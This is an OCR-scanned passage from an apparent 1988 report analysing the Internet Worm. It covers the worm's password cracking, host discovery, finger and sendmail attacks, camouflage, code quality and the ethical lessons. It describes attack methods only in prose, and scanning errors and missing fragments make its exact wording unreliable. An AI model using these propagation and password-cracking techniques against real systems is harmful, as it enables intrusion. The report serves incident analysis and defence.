If a successful infection occurred, the routine relurned early wim a value of TRUE (1).
5.2.4. attack user
This routine was called after a user password was broken. It has some incorrect code and
may not work properly on every architecture because a subroutine call was missing an argu-
ment. However, on Suns and VAXen, the code will work because the missing argument was
supplied as an extra argument to the previous call, and the order of the arguments on the stack
matches between the two routines. It was largely a coincidence that this workcd.
The routine attempted to open a forward file in the the user's home directory. and then for
each host and user name present in that file, it called the hut routine. It then did the same thing
with the .rhosrs me, if present, in the user's home directory.
5.2.5. checkofher
This routine was to see if another Wonn was present on lhis machine and is a companion
routine to other_sleep. First, a random value was checked: with a probabilily of I in 7, the rou-
··'tine returned without ever doing anylhing-.these Wonns become. immonal in the· sense that
they never again participated in the process of thinning oul multiple local Worms.
14 This appears to be a bug. The probable assumption was that the rourine hi would handle infection of
local hos[S. but hi calls this routine! Thu.~. local hosts were never infccled via this route.
- 15 -
Otherwise, the Wonn created a socket and tried [Q connect to lhe local "Wonn port"-
23357. If the connection was successful, an exchange of challenges was made to verify that the
... ; .~ , other side was actually a fellow Wonn. ,·If so, a randoITL:valuc was written to Ole oLher side, and
a value was read from the sockel.
If the sum of the value scnt'plus lhe value'read was even, the local WOIm set its please-
quit variable [0 I, thus marking it [or eventual self-destruction. The socket was then closed, and
Lhe Wonn opened a new socket on the same port (if it was not destined to self-deslIUct) and sel
ocherJd to mat socket [Q listen for other Wonns.
If any errors were encountered during this procedure. the Worm involved set olherJd [0
-1 and it returned from the rouline. This meant that any error caused the Worm to be immortal,
too.
5.2.6. crack 0
This routine first scanned the !etc/hosts.equiv file, adding new hosts to the global list of
hosts and setting the flags field to mark them as equivalent. Calls were made to name2host and
getaddrs. Next, a similar scan was made of the !.rhosts rile using the exact same calls.
The code then called setpwent to open the !etc!passwd file. A loop was performed as long
as passwords could be read:
Every 10th enlry, a call was made to other_sleep with a limcoU[ of O. For each user, an
attempt was made to open the file forward15 in the home directory of that user, and read
lhe hostnames therein. These hostnames were also added to the host list and marked as
equivalent. The cncrypted password, home directory, and GECOS field for each user was
stored into the pwd structure.
After all user entries were read, lhe endpwent routine was invoked, and the cmode variable
was set to I.
5.2.7. crack 1
This routine tried to break passwords. It was intended to loop until all accounts had been
tried, or until the next group of 50 accounts had been tested. In the loop:
A call was made to other_sleep willi a parameter of zero cach time the loop index: modulo
IO was zero (i.e., every 10 calls). Repeated calls were made to tryyossword wiLh the
values discussed earlier in §4-8b.
Once all accounts had been tried, the variable cmode was set to 2.
The code in this routine was faUlty in that the index: of the loop was never incremented!
Thus, the check at every 50 accounts, and the call to other-sleep every 10 accounts would not
occur. Once entered, crackj ran until it had checked all user accoums.
5.2.8. crack 2
This routine used the mini-dictionary in an altempt to break user passwords (sec Appendix:
A). The dictionary was first permuted (using lhe permwc) call. Each word was decrypted in-
place by XORing its bytes willi Ox80. The decrypted words were then passed to the
tryYQSsword routine for each user accounL. The dictionary was then rc-encrypted.
IS This is puzzling. The appropriate file 10 scan for equivalent hosts would have been !he Jhosts file,
noL !he lanyard file.
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A global index, named nextw was incremented to point to the next dictionary entry. The
nextw index is also used in dail to determine if enough effort had been expended so that lhe
Wonn could" ...go gcmly into that good night.'· When no more words were lefl, the variable
cmode was set to 3.
There are two interesting points to note in this routine: the reverse of these words were not
tried, although that would seem like a logical thing to do, and all words were encrypted and
decrypted in place rather than in a temporary buffer. This is less efficient lhan a copy while
masking since no re-encryption ever needs to be done. As discussed in lhe next section, many
examples of unnecessary cffon such as this were present in the program. Furthennore. the
entire mini-dictionary was decrypted all at once rather than a word at a time. This would seem
to lessen the benefit of encrypting those words at all. since the entire dictionary would then be
present in memory as plaintext during the time all the words were tried.
5.2.9. crack 3
This was the last password cracking rouline. It opened /usr/dict/words, and for each word
found it called rryyossword against each accounL. If the first letter of the word was a capital. it
was converted to lower case and retried. Afier all words were tried. the variable cmode was
incremented and the rouline rerumed.
In this routine, no calls to ocher_sleep were interspersed, thus leading to processes that ran
for a long time before checking for other Worms on the local machine. Also of nOle, this rou~
tine did not try the reverse of words either!
5.2.10. cracksome
This routine was a simple switch statement on an external variable named cmode and it
implemented the five strategies discussed in §4·8 of this paper. State zero called crack_O, state
one called crack_l, state two called crack_2, and state three called crack_3. The default case
simply returned.
5.2.11. crypt
This routine took a key and a salt, then performed the UNIX password encryption function
on a- block of zero-bilS. The relum value of the routine was a pointer to a character string of 13
characters representing the encoded password.
The routine was highly optimized and differs considerably from the standard library ver-
sion of the same routine. It called the following routines: compkeys. mungE. des, and ipi. A
routine, setupE, was also present and was associated with this code, but it was never referenced.
It appears to duplicate Lhe functionality of the mungE function.
5.2.12. h addaddr
This routine added alternate addresses to a host entry in the global list if they were not
already present
5.2.13. h addname





The host address provided to the mutine was checked against each entry in the global host
"list 10 see if iL was already prescnt: -If·so. a pointer to that host entry was rcrumcd. If nOl, and
if a parameter flag was set, a new cntry was initialized with the argument address and a pointer
La iL was returned.
5.2.15. II clean
This roUline traversed !:he host list and removed any entries marked as infected or immune
(leaving hosts not yet tried).
5.2.16. h namc2host
Just like It_addr2host except the comparison was done by name with all aliases.
5.2.17. ha
This routine [fled ro infect hosts on remole networks. First, it checked to see if the gate-
ways list had entries; if nol, it called TC_inir. Next, it consllucted a list of all IP addresses for
gateway hosts that responded to the try_relnet rouline. The list of host addresses was random-
ized by permute. Then, for each address in the list so constructed, the address was masked with
the value returned by netmaskfor and the result was passed to the attack_network routine. If an
altack was successful, the routine exiLed early with a return value of TRUE.
5.2.18. hg
This routine attempted La infect gatcway machines. It first called rt_init La reinitialize the
list of gateways, and thcn for each gatcway it called Lhe main infection roUline, inject, with the
gatcway as an argument. As soon as one gateway was successfully infected. the routine
returned TRUE.
5.2.19. hi
This routine tried to infect hosts whose entries in the hosts list were marked as equivalent.
The routine traversed the global host list looking for-such entries and then calling inject with
·--those hosts. A successful infection returned early with the value TRUE.
5.2.20. hi
This routine was inLended to attack hosts on directly-connected neLworks. For each alter-
nate address of the current host. the routine attack_network was called with an argument con-
sisling of the address logically and-ed with the value of netmask for that address. A success
caused the rouLine. to return early with a return value of TRUE.
5.2.21. hul
This function attempted to attack a remote host via a particular user.. It first checked to
make sure that the host was not the current host and that it had not already been marked as
infected. Next, it called getaddrs to be sure there was an address to be used. It examined the
usemame.for punctuation characters, and returned if any were found.,_ It then called other_sleep
with an argument of I.
Next, the codc tried the attacks described in §4-1O. Calls were made to sendWorm if




This routine construcLed the list of interfaces using ioetl calls. In summary, it obtained
'. '-information about-each interface that was up and running, including the destination address in
poim-to-point links, and any netmask for lImt interface. IL initialized lhe me pointer to the fir.H
non~loopback address found, and it entered 'all alternate addresses in the address list.
5.2.23. infect
This was the main infection routine. Fif5t, the host argumem was checked to make sure
lhaL it was not the current host, that it was om curreoUy infected. and that it had not been deter-
mined to be immune. Next, a check was made to be sure that an address for the host could be
found by calling getaddrs. If no address was found. the host was marked as immune and the
routine returned FALSE.
Next, the routine called other_sleep with a timeout of 1. Following that, it tried, in suc-
cession, calls to tryJsh, tryJingerd, and rry_sendmail. If the calls to crYJsh or tryJingerd
succeeded, the file descriptors established by those invocations were passed as arguments to the
sendV%rm call. If any of the three infection attempts succeeded, infect returned early with a
value of TRUE. Otherwise. the routine returned FALSE.
5.2.24. loadobject
This routine read an object file into the objects structure in memory. The file was opened
and the size found with a call to the library routine fscat. A buffer was mal/oc'd of the
appropriate size, and a call to read was made to read lhe contents of the file. The burrer was
encrypted with a call to xorbllf, then transferred into the objects array. The suffix of the name
(e.g., sun3.0, ll.c, vax.o) was saved in a Oeld in lhe structure, as was the size of the object.
5.2.25. makernagic
The routine used the library random call to generate a random number for use as a chal-
lenge number. Next, it tried to connect to the [emet pOrt (#23) of the target host, using each
alternate address currently known for that host. If a successful connection was made, the library
call getsockname was called to get the canonical IF address of the current host relative to the
target
Next. up to 1024 auempts were made to establish a TCP socket, using port numbers gen-
erated by taking the output of the random number generator modulo 32767. If the connection
was successful, the routine returned the pan number, the file descriptor of the socket, the canon-
ical IF address of the current host, and the challenge number.
5.2.26. netrnaskfor
This routine stepped through the interfaces array and checked the given address against
those interfaces. If it found that the address was reachable through a connected interface, the
netmask returned was the netmask associated with that interface. Otherwise, the relurn was the
default netmask based on network type (Class A, Class B, Class C).
5.2.27. olher_sleep
This routine checked a global variable named orherJd. If the variable was less than zero,
the routine simply called sleep with the provided timeout argument, I.hen returned.
Otherwise, I.he roUline waited on a select system call for up to the value of the timeout. If
the timeout expired, the routine returncd. Otherwise, if the select return code indicated there
was input pending on the otherJd descriptor, it meant there was another Worm on the currenl
. 19·
machine. A connection was established and an exchange of "magic" numbers was made to
verify identity. The local Worm then wrote a random number (produced by random) to the
. other Worm via the sockeL The reply was read and a check was made to ensure that the
response came from the localhost (127.0.0.1). The file descriptor was closed.
. If the" random' value scnt plus the response'was an odd number, thc'otherJd variable was
set to -1 and the pleaseqJdt variable was set to 1. This meant that the local Worm would die
when conditions were right (cf. dolt), and that it would no longer attempt to contact other
Worms on the local machine. If the sum was even, the other Worm was destined to die.
5.2.28. permute
This routine randomized the order of a list of objects. This was done by execUling a loop
once for each item in the list. In cach iteration of the loop. Lhe random number generator was
called modulo the number of items in the list. The Hem in Lhe list indexed by ilim value was
swapped with the item in the list indexed by lhe current loop value (via a call to bcopy).
5.2.29. rt init
This initialized the list of gateways. It started by selling an external counter, Ilgateways,
to zero. Next. it invoked Lhe command "/usr/ucb/netstat -r -n" using a popen call. The code
then looped while output was received from the netstat command:
A line was read. A call to other_sleep was made with a timeout of zero. The input line
was parsed into a destination and a gateway_ If the gateway was not a valid IP address, or
ifit was the Ioopbaek address (127.0.0.1), it was discanled. The value was then compared
against all the gateway addresses already known; duplicates were skipped. It was also
compared against the list of local interfaces (local networlcs), and discarded if a duplicale.
Otherwise, it was added to the list of gateways and the counter incremented.
5.2.30. scan~ateways
First, the code called permute to randomize the gateways list. Next, it looped over each
gateway or the first 20, whichever was less:
A call was made to other_sleep with a timeout of zero. The gateway IF address was
searched for in Lhe host list; a new cntry was allocated for the host if none currenUy
existed. The gateway flag was sel in the flags field of the host entry. A call was made to
the library routine gerhosrbyaddr with the IF number of the gateway. The name. aliases
and address fields were added lo the host list, if not already present Then a call was made
to gethostbyname and alternate addresses were added to the host list
After this loop was executed, a second loop was started that did effectively the same thing as
the first! There is no clear reason why this was.done, unless.it is a remnant of earlier code, or a
stub for future additions.
5.2.31. send_message
This routine made a call to random and 14 out of 15 times returned without doing any-
thing. In the 15th case, it opened a stream socket 10 host "emie.berkeley.edu" and then tried to




This routine sent the Worm code over a connected TCP circuit to a remote machine. Firs[
it checked to make sure that the objects table held a copy of lhe l1.c code (see Appendix B).
Next, it called makemagic to get a local socket established and to generate a challenge string.
Then. it encoded and wrote the script detailed previously in §4-2a: Finally; it 'called waithir and
returned the result code of that rouline.
The object files shipped across the link were decrypted in memory first by a call to xorbuf
and then rc-encrypted afterwards.
5.2.33. supporlsJsh
This routine detennined if the target host. specified as an argument, supported the BSD-
derived rsh protocol. It did this by creating a socket and attempting a TCP connection to port
514 on the remote machine. A timeout or connect failure caused a return of FALSE; o!.herwise,
!.he socket was closed and the return value was TRUE.
5.2.34. supports_teind
This routine determined if a host was reachable and supported the telnet protocol (i.e., was
probably not a router or similar "dumb" box). It was similar to supports rsh in nature. The
code established a socket, connected to the remote machine on pon 23, and returned FALSE if
an error or timeout occurred; otherwise, the socket was closed and lRUE was returned.
5.2.35. try_fingerd
This roUline tried to establish a connection to a remote finger daemon on the given host by
connecting to port 79. If the connection succeeded, it sent across an overfull buffer as described
in §4-8b and waited to see if !.he o!.her side became a shell. If so, it returned the file descriptors
to the caller; otherwise, it closed the socket and returned a failure code.
5.2.36. tryyassword
This routine called crypt with the password attempt and compared the result against the
encrypted password in the pwd entry for the current user. If a match was found, the unen-
crypted password was copied into the pwd structure, and the routine attack_user was invoked.
5.2.37. tryJSh
This funcLion created Lwo pipes and then forked a child process. The child process
attempted to rexec a remote shell on Lhe host specified in the parameters, using !.he specified
usemame and password. Then the child process Lried to invoke the rsh command by attempting
to run, in order, "/usr/.ucb/rsh," "/usr/bin/rsh," and "/binfrsh." If the remote shell succeeded,
the function relurned the file descriptors of the open pipe. Otherwise, it closed all file descrip-
tors, killed the child with a SIGKTLL, and reaped it with a call to wait3.
5.2.38. try_sendmail
This routine attempLed to establish a connecLion to Lhe SMTP port (#25) on the remote
host If successful, it conducted the dialog explained in §4-2b. It then called the waithit routine
to see if the infection ., took. "
. Return -codes were checked after each line was transmitted, and if a return code indicated a
problem, the routine aborted after sending a "quit" message.
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5.2.39. waHhit
This function acted as the bootstrap server for a vector program on a remote machine. It
waited -for up to-120 seconds on the socket created by the makemagic routine. and if no connce·
tion was made it closed the socket and returned a failure code. Likewise. if the first thing
received was not the challenge string shipped with the bootstrap program, lhe socket was closed
and the routine returned.
The routine decrypted each object file using xorbufand sent it across the conneclion to the
vector program (sec Appendix B). Then a script was transmitted to compile and run the vecmf.
TItis was described in §4-4. If the remote host was successfully infected. the infected nag was
set in the host entry and the socket closed. Otherwise, the routine sent rm command strings to
delete each object file.
The function returned the success or failure of the infection.
5.2.40. xorbuf
This routine was somewhat peculiar. It performed a simple encryption/decryption function
by XORing the buffer passed as an argument with the first 10 bytes of me xorbuf routine irself!
This code would not work on a machine with a split IJD space or on tagged architectures.
6. Analysis of the Code
6.1. Structure and Style
An ex.aminalion of the reverse-engineered code of the Worm is instructive. Although it is
not the same as reading the original code, it does reveal some characteristics of the author(s).
One conclusion that may surprise some people is mat the quality of the code is mediocre, and
might even be considered poor. For instance, there are places where calls are made to functions
with either too many or too few arguments. Many routines have local variables that are either
never used, or are potemially used before they arc initialized. In at least one location, a struct is
passed as an argument rather than the address of the struct. There is also dead code. as routines
that are never referenced. and as code that caMot be executed because of conditions that arc
never met (possibly bugs). It appears that the author(s) never used the lint utility on the pro·
gram.
At many places in the code, there are calls on system routines and the return codes are
never checked for success. In many places, calls are made to the system heap routine, malloc
and the result is immediately used wilhout any check. Although the program was configured
not to leave a core file or other evidence if a fatal failure occurred, the lack of simple checks on
the return codes is indicative of sloppiness; it also suggests that the code was written and run
. with minimal or no testing. It is certainly possible that some checks were written into the code
and elided SUbject to conditional compilation flags. However, then; would be little reason to
remove those checks from the production version of the code.
The structures chosen for some of the internal data are also revealing. Everything was
represented as" linked lists of structures. All searches were done as linear passes through the
appropriate list. Some of these lisls could get quite long and doubUess that considerable CPU
time was spent by the Wonn just maintaining and searching these lists. A liLae extra code to
implement hash'buckets or some fonn of sorted-lists would have "3.dded .little overhead to the
program, yet made it much more efficient (and thus quicker to infect other hosts and less obvi-
ous to system watchers). Linear lists may be easy to code, but any experienced programmer or
advanced CS student should be able to implement a hash table or lists of hash buckets wilh lit-
tle difficulty.
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Some effort was duplicated in spots. An example of this was in the code that tried to
break passwords. Even if the password to an account had been found in an earlier stage of exe-
cution. the Worm would encrypt every word in the dictionary and attempt a march against iL
Similar redundancy can be found in the code to construct the lists of hosts to infect.
There arc locations in the code where it appears that the author(s) 'meant "to execute a par-
ticular function but used the wrong invocation. The use of the UDP send on a Tep socket is
onc glaring example. Another example is at the beginning of the program where the code sends
a KILL signal to its parent process. The surrounding code gives strong indication that the user
actually meant La do a killpg instead but used the wrong call.
The one section of code that appears particularly well-thought-out involves the crypt rou-
tines used to check passwords. As has been noted in[SeeI88J, this code is nine times faster than
the standard Berkeley crypt function. Many interesting modifie<Hions were made to the algo-
rithm, and the routines do not appear to have been wriuen by the same author as the rest of the
code. Additionally, the routines involved have some support for both encryption and
dccryption---even though only encryption was needed for the Worm. This supports the assump-
tion that this routine was written by someone other than lhe author(s) of the program, and
included with this code. It would be interesting to discover where this code originated and how
it came La be in the Worm program.
The program could have been much more virulent had the aulhor(s) been more experi-
enced or less rushed in her/his coding. However, it seems likely that this code had been
developed over a long period of time, so the only conclusion that can be drawn is that the
author(s) was sloppy or careless (or both), and perhaps that the release of the Worm was prema-
lure.
6.2. Problems of Functionality
There is little argument that the program was functional. In fact, we all wish it had been
less capable! However, we are lucky in the sense that the program had flaws that prevented it
from operating to the fullest. For instance, because of an error, the code would fail to infect
hosts on a local area network even though it might identify such hosts.
Another example of restricted functionality concerns the gathering of hostnames to infecL
. As noted ,already, the code failed La gather host names from user .rhosts files early on. It also
did not auempt to collect host names from other user and system files containing such names
(e.g.• /etclhos~.Ipd).
Many of the operations could have been done "smarter." The case of using linear struc-
tures has already been mentioned. Another example would have been to sort user passwords by
the salt used. If the same salt was present in more than one password, then all those passwords
could be checked in paraUel as a single pass was made through the dictionaries. On our
machine, 5% of the 200 passwords share the same salts, for instance.
No special advantage was taken if the root password was compromised. Once the root
password has been broken, it is possible to fork children that set their uid and envirorunent vari-
ables to match each designatcd user. These processes could then attempt the rsh attack
described earlier in this report InsLead, root is treared as any other account.
It has been suggested to me that this treatment of root may have been a conscious choice
of the Worm author(s). Without knowing me true motivation of the author, this is impossible to
decide. However, considering the design and intcnt of the program, I find it difficult to believe
that such exploitation would have been omilled if me aULhor had thought of it.
The same attack used on the Hnger daemon could have been extended to the Sun version
of the program, but was not. The only explanations that come to mind why this was not done
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are that the author lacked the motivation, the ability, the lime. or the resources to develop a ver-
sion for the Sun. However. at a recent meeting, Professor Rick Rashid of Carnegie-Mellon
University was heard to claim that Robert T. Morris, the alleged author of the Wann, had
revealed the jingerd bug to system administmtivc staff at eMU well over a year ago. IG ASSUffi-
"iog this report is correct and the -Worm author is indeed Mr. Morris. it is obvious [hm there was
sufficicm time to construct a Sun version of the code. I asked three Purdue graduate students
(Shawn D. Ostermann, Steve J. Chapin, and Jim N. Griffioen) to develop a Sun 3 version of the
attack, and they did so in under three hours. The Worm author certainly must have had access
to Suns or else he would not have been able La provide Sun binaries to accompany the opera-
lional Wonn. Motivation should also not be a factor considering everything clse present in the
program. With time and resources available, the only reason I cannot immediately rule out is
that he lacked the knowledge of how to implemem a Sun version of the attack. This seems
unlikely, but given the inconsistent nature of the rest of the code, it is certainly a possibility.
However, if this is the case, it raises a new question: was the author of the Worm the original
author of the VAXfingerd auack?
Perhaps the most obvious shortcoming of the code is the lack of undcrstanding about pro-
pagation and load. The reason the Worm was spotted so quickly and caused so much disruption
. was -because-it replicated itself exponentially on some networks, and because each Worm carried
no history with it AdmiUedly, there was a check in place to see if the current machinc was
already infected, but one out of every seven Worms would never die even if there was an exisl-
ing infestation. Furthennore, Worms marked for self-destruction would continue to executc up
to the point of having made at least one complete pass through the password file. Many
approaches could have been laken by the author(s) to slow the growth of the Worm or prevent
reinfestation; little is to be gained from explaining them here, but their absence from the Worm
program is telling. Either the author(s) did not have any understanding of how the program
would propagate, or else shc/he/they did not care; the existence in the Worm of mcehanisms to
limit growth tends to indicate that it was a lack of understanding rather than indifference.
Some of the algorithms used by the Worm were reasonably clever. One in particular is
interesting to note: when trying passwords from the built-in list, or when trying [Q break into
connected hosts, the Worm would randomize the list of candidates for lrial. Thus, if more than
one Wonn were present on the local machine, they would be more likely to try candidates in a
-, different order, thus maximizing their coverage. This implies, however (as does the action of
the pleasequit variable) that the author(s) was not overly concerned with the presence of multi·
pie Worms on the same machine. More to the point, multiple Wonns were allowed for a while
in an elIort to maximize the spread of the infection. This also supports the contention that the
author did not understand the propagation or load effects of the Wonn.
The design of the vector program, the "thinning" protocol, and the use of the internal
state machine were all clever and non-obvious. The overall structure of the program, cspecially
the code associated with IF addresses, indicates considerable knowledge of networking and the
routines available to support it The knowledge evidenced by that code would indicate exten-
sive experience with networking facilities. This, coupled with some of the errors in the Wonn
code related to networking, further support the thesis that the author was not a careful
progranuner-tbe errors in those parts of the code were probably not errors because of
ignorance or inexperience.
16 Private communication from someone prcscnt at the mceting.
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6.3. Camouflage
Great care was taken to prevent the Worm program from being sLOpped. This can be seen
"by'thc caution<wiLh which new- HIes were-introduced into a machine, including the use of ran-
dom challenges. Il can be seen by the fact that every string compiled into the Wonn was
encrypted to prevent 'simple examination. It was evidenced by lhe care with which files associ-
ated wilh the Worm were deleted from disk a[ the earliest opportunity, and the corresponding
contents were encrypted in memory when loaded. It was evidenced by the cominual forking of
the process, and the (faulty) check for other instances of the Worm on the local hosl.
The code also evidences precautions against providing copies of ilself to anyone seeking
to stop the Worm. It sets its resource limits so it cannot dump a core file, and il keeps internal
data encrypted until used. Luckily, there are other methods of obtaining core files and data
images, and researchers were able to obtain all the information they needed to disassemble and
reverse-engineer the code. There is no doubt, however, that the author(s) of the Worm intended
to make such a task as difficult as possible.
6.4. Specific Comments
Some more specific comments are worth making. These are directed to particular aspcc[S
of the code rather than the program as a whole.
6.4.1. The sendmail attack
Many sites tend to experience substantial loads because of heavy mail traffic. This is
especially true at sites with mailing list exploders. Thus, the administrators at those sites have
configured their mailers to queue incoming mail and process the queue periodically. The usual
configuration is to sct sendmail to run the queue every 30 to 90 minutcs.
The attack through sendmail would fail on lhese machines unless the vector program were
delivered into a nearly empty queue within 120 seconds of it being processed. The reason for
this is that the infecting Worm would only wait on lhe server socket for two minutes after
delivering the "infecting mail." Thus, on systems with delayed queues, the vector process
would not get built in time to transfer the main Worm ·program over to the targeL The vector
process would fail in its connection attempt and exit with a non-zero status.
Additionally, the attack through sendmail invoked the vector program wilhout a specific
path. That is, the program was invoked with "foo" instead of "./foo" as was done with the
shell-based attack. As a result, on systems where the default path used by sendmail's shell did
not contain the current direclory (". "), the invocalion of the code would fail. It should be
noted that such a failure interrupts the processing of subsequent commands (such as the rm of
the files), and this may be why many syslem administrators discovered copies of the vector pro-
gram source code in their /usr/tmp di reclories.
6.4.2. The machines involved
As has already been noted, this altack was made only on Sun 3 machines and VAX
machines running BSD UNIX. It has been observed in at least one mailing list that had the Sun
code been compiled with the -mc68010 flag, more Sun machines would have fallen victim to
the Worm. It is a matter of some curiosity why more machines were not targeted for this
attack. In particular; there are many Pyramid,· Sequent, Gould, ·Sun 4,.and Sun i386 machines
on the net.17 If binary files for those had also been included, the Worm could have spread much
11 The thought of a Sequcnt Symmctry or Gould NPI infected with ffiulLiple copies of the Worm
prescnlS an awesome (and awful) thought. The effcets noticcd locally when the Worm broke into a mostly
unloadcd VAX 8800 were spccUlcular. TIle e[fects on a machine with one or two ordcrs of magnitude more
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further. As it was, some locations such as Ohio Smte were completely spared the cITcclS of the
Worm because all lheir "known" machines were of a lype that the Worm could not infect
Since the author of the program knew how to break inlo arbitrary UNIX machines, it seems odd
Lhat he/she did not allempt to compile the program on foreign architectures 10 include with the
Worm.
6.4.3. Portability considerations
The author(s) of the Worm may not have had much experience wiLh writing portable UNIX
code, including shell scripts. Consider that in the shell script used to compile the vector, the
following command is used:
if[-fsh]
The use of the [ character as a synonym for the test function is OOl universal. UNIX users with
experience writing portable shell files lend La spell out the operator rest rather than rely on there
being a link to a file named "[" on any particular system. They also know that the test opera-
tor is buill-in to many shells and thus faster than the external [ variant, although mosl shells
now have the [alias as built·in functions as well.
:The, test invocation used..in the Wonn code also uses the -f nag to test for presence of the
file named sh. This provided us with the Wonn "condom" published Thursday night: 18 creat-
ing a directory with the name sh in lusr/tmp causes this test to fail, as do later anempts to create
cxecutable files by that namc. Experienced shell programmers tend to use the equivalent of the
-e (exists) flag in the csh test function in circumstances such as this, to detect not only direc-
tories, but sockets, devices, named FIFOs, etc.
Other colloquialisms arc present in the code that bespeak a lack of experience writing port-
able code. One such example is the code loop where file units arc closed just after thc. vector
program starts executing, and again in the main program just after it starts execuling. In both
programs, code such as the following is executed:
for (i =0; j < 32; i++)
closeO);
Thc portable way to accomplish the task of closing all file descriptors (on Berkeley-derived sys·
terns) is to execute:
for (i = 0; i < getdtablesize(); i++)
close (i);
or the even more efficient
for (i = getdtablesize()-l; i >= 0; i--)
closc(i);
This is because the number of file units available (and thus open) may vary from system to sys-
tem.
capacity is a frightening Ihought.
18 Developed by a group of Purdue system administrators and system programmers, and leSted and
verified by Kevin Braunsdorf and Rich Kulawiec at Purdue puce.
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6.5. Summary
Many other examples can be drawn from lhe code. but the points should be obvious by
now: ·the author of lhe Wonn program may have been a moderately experienced UNIX program-
mer, but s!hc was by no means the "UNIX Wizard" many have been claiming. The code
employs a few "Clever techniques- and tricks, bur there is some doubt if they arc all the original
work of the Worm author. The code seems to be the product of an inexperienced, rushed. or
sloppy programmer. The person (or persons) who put this program wgcthcr appears to lack
fundamental insight into some algorithms, data strucLUres, iilfld network propagation, bur at the
same time has some very sophisticated knowledge of network features and facilities.
The code does not appear to have been tested (although anything other than unit testing
would not be simple to do), or else it was prematurely released. Actually, it is possible that
both of these conclusions are correc[. The presence of so much dead and duplicated code cou-
pled wilh the size of some data structures (such as the 20-s10t object code array) argues lhat the
program waS intended to be more comprehensive.
7. Conclusions
It is clear from the code mat the wonn was deliberately designed to do two things: infcct
as many machines 'as possible, and be difficult to track and stop. There can be no question that
this was in any wayan accident, almough its release may havc been premature.
It is still unknown if lhis wonn, or a future version of it, was to accomplish any other
tasks. Although an author has been alleged (Robert T. Morris), he has not publicly confessed
nor has the maHer been definitively proven. Considering the probabilily of both civil and crimi-
nallegal actions, a confession and an explanation arc unlikely to be fonhcoming any time soon.
Speculation has centered on motivations as diverse as revenge, pure intellectual curiosity, and a
desire to impress someone. This must remain speculation for the time being, however, since we
do not have access to a definitive statement from the author(s). At the least, there must be some
question about the psychological makeup of someone who would build and run such sOftware.19
Many people have stated that the authors of lhis code20 must have been "computer
geniuses" of some sort. I have been bothered by that supposition since first hearing it, and after
having examined the code in some depth, I am convinced that this program is not evidence to
support any such claim. The code was apparently unfinished and done by someone clever but
not particularly gifted, at least in the way we usually associate with talented programmers and
designers. There were many bugs and mistakes in the code that would not be made by a care·
ful, competent programmer. The code does not evidence clear understanding of good data struc-
turing, algorithms, or even of security naws in UNIX. It does contain clever exploitations of two
specific flaws in system utilities, but that is hardly evidence of genius. In general, the code is
not that impressive, and its "success" was due at least as much to a large amount of luck as it
was due to programming skill possessed by the author.
19 Rick Adorns, of the Center for Seismic Studies, has commented that we may someday hear that thll
wonn was loosed to impress Jodill Foster. Without further infonnation, this is as valid a spc.c;ulation as any
other, and should raise further disturbing questions; not everyone with access to eomputllrs is rational and
sanll, and future attacks may rcfillCt tltis.
20 TIuoughout this papc.r I have been writing aUlhor(s) instead of au.thor. It occurs to me Ihal most of
.the mail; Usenet poslings,. and media coverage of this incident have assumed that il,was.. a.Ulhpr. (singul~).
Are we so unaccustomed to working together on programs Ihat this is our natural inclination? Or is il thai
we find it hard to believe that more than one individual could have such poor judgemcnt? I also noted Ihal
most of people I spoke with seemed to assume that Ihe worm author was male. I leave il to others to
speculate on the value" if any, of Ihese observotions.
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Chance favored most of us, however. The effects of this wonn were Oargely) benign, and
it was casily stopped. Had the code been tested and developed funhcr, or had it been coupled
wilh-something,destructive. the toll would .have been considcmbly higher. I can easily think of
several dozen people who could have wrillen this program, and nOl only done it with far fewer
-(if· any) errors, but· -made it ,considerably more~virulent. Thankfully, lhosc :.individuals arc all
responsible, dedicated professionals who would not consider such an act
What we leam from Uris about securing our systems will help determine if this is the only
such incident we ever need [Q analyze. This attack should also poinl out that we need a beLler
mechanism in place to coordinate information about security flaws and attacks. The response to
this incident was largely ad hoc, and resulted in both duplication of effon and a failure to
disseminate valuable information to sites that needed it Many site administrators discovered
the problem from reading the newspaper or watching the television. The major sources of infor-
mation [or many of the sites affected seems to have been Usenet news groups and a mailing list
I put together when the worm was first discovered. Allhough useful, these methods did not
ensure timely, widespread dissemination of useful information - especially since they
depended on the Internet to work! Over three weeks after this incident some sites were still not
reconnected to the Internet.
:This is the second .time '-in six monlhs that a major panic has hit the Internet community.
The first occurred in May when a rumor swept the community that a "logic bomb" had been
planted in Sun software by a disgruntled employee. Many, many sites turned lheir system
clocks back or they shut off their systems to prevent damage. The personnel at Sun Microsys-
terns responded to this in an admirable fashion, conducting in-house testing to isolate any such
threat, and issuing information to the communily about how to deal with the situation. Unfor-
tunalely, almost everyone else seems to have watched events unfold, glad that they were not the
ones who had to deal with the situation. The worm has shown us that we are all affected by
events in our shared environment, and we need to develop better information methods outside
the network before the next crisis.
This whole episode should cause us to think about the ethics and laws concerning access
to computers. The technology we use has developed so quickly it is not always simple to deter-
mine where the proper boundaries of moral action may be. Many senior computer professionals
started their careers years ago by breaking into computer systems at their colleges and places of
employment to demonstrate'their expertise. However, times have changed and mastery of com-
puter science and compuler engineering now involves a great deal more than can be shown by
using intimate knowledge of the Oaws in a particular operating system. Entire businesses are
now dependent, wisely or not, on computer systems. People's money, careers, and possibly
even their lives may be dependent on the undisturbed functioning of computers. As a society,
we cannot afford the consequences of condoning or encouraging behavior that lhreaLens or dam-
ages computer systems. As professionals, computer scientists and computer engineers cannot
afford to tolerate the romanticization of computer vandals and computer criminals.
This incident should also prompt some discussion about distribution of security-related
information. In particular, since hundreds of sites have "captured" the binary form of the
worm, and since personnel at lhose sites have utilities and knowledge that enables them to
reverse·engineer the worm code, we should ask how long we expect it to be beneficial to keep
the code unpublished? As mentioned in the introduction, at least eleven_ independent groups
have produced reverse-engineered" versions "of' the' worm, and I expect "many more have been
done or will be attempted, especially if the current versions are kept private. Even if none of
these versions is published in any formal way, hundreds of individuals will have had access to a
copy before the end of the year. Historically, trying to ensure security of software through
secrecy has proven [Q be ineffective in the long term. It is vital that we educate system
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administrators and make bug fixes available [0 them in some way thm docs not compromise
Uleir security. Methods that prevent the dissemination of infonnmion appear to be completely
contrary to mal goal.
Last, it is important to note that lhc nature of both the Internet and UNIX helped to defcn[
the wonn as well as spread it.' The immediacy of communication, the ability-to copy source and
binary files from machine to machine, and the widespread availability of both source and ex.per-
tise allowed personnel throughout the country to work together La solve lhe infection even
despite the widespread disconnection of parts of the network. Allhough Lhe immediate reaction
of some people might be La restrict communication or promote a diversity of incompaliblc
software options to prevent a recurrence of a wonn, Umt would be entirely the wrong reaction.
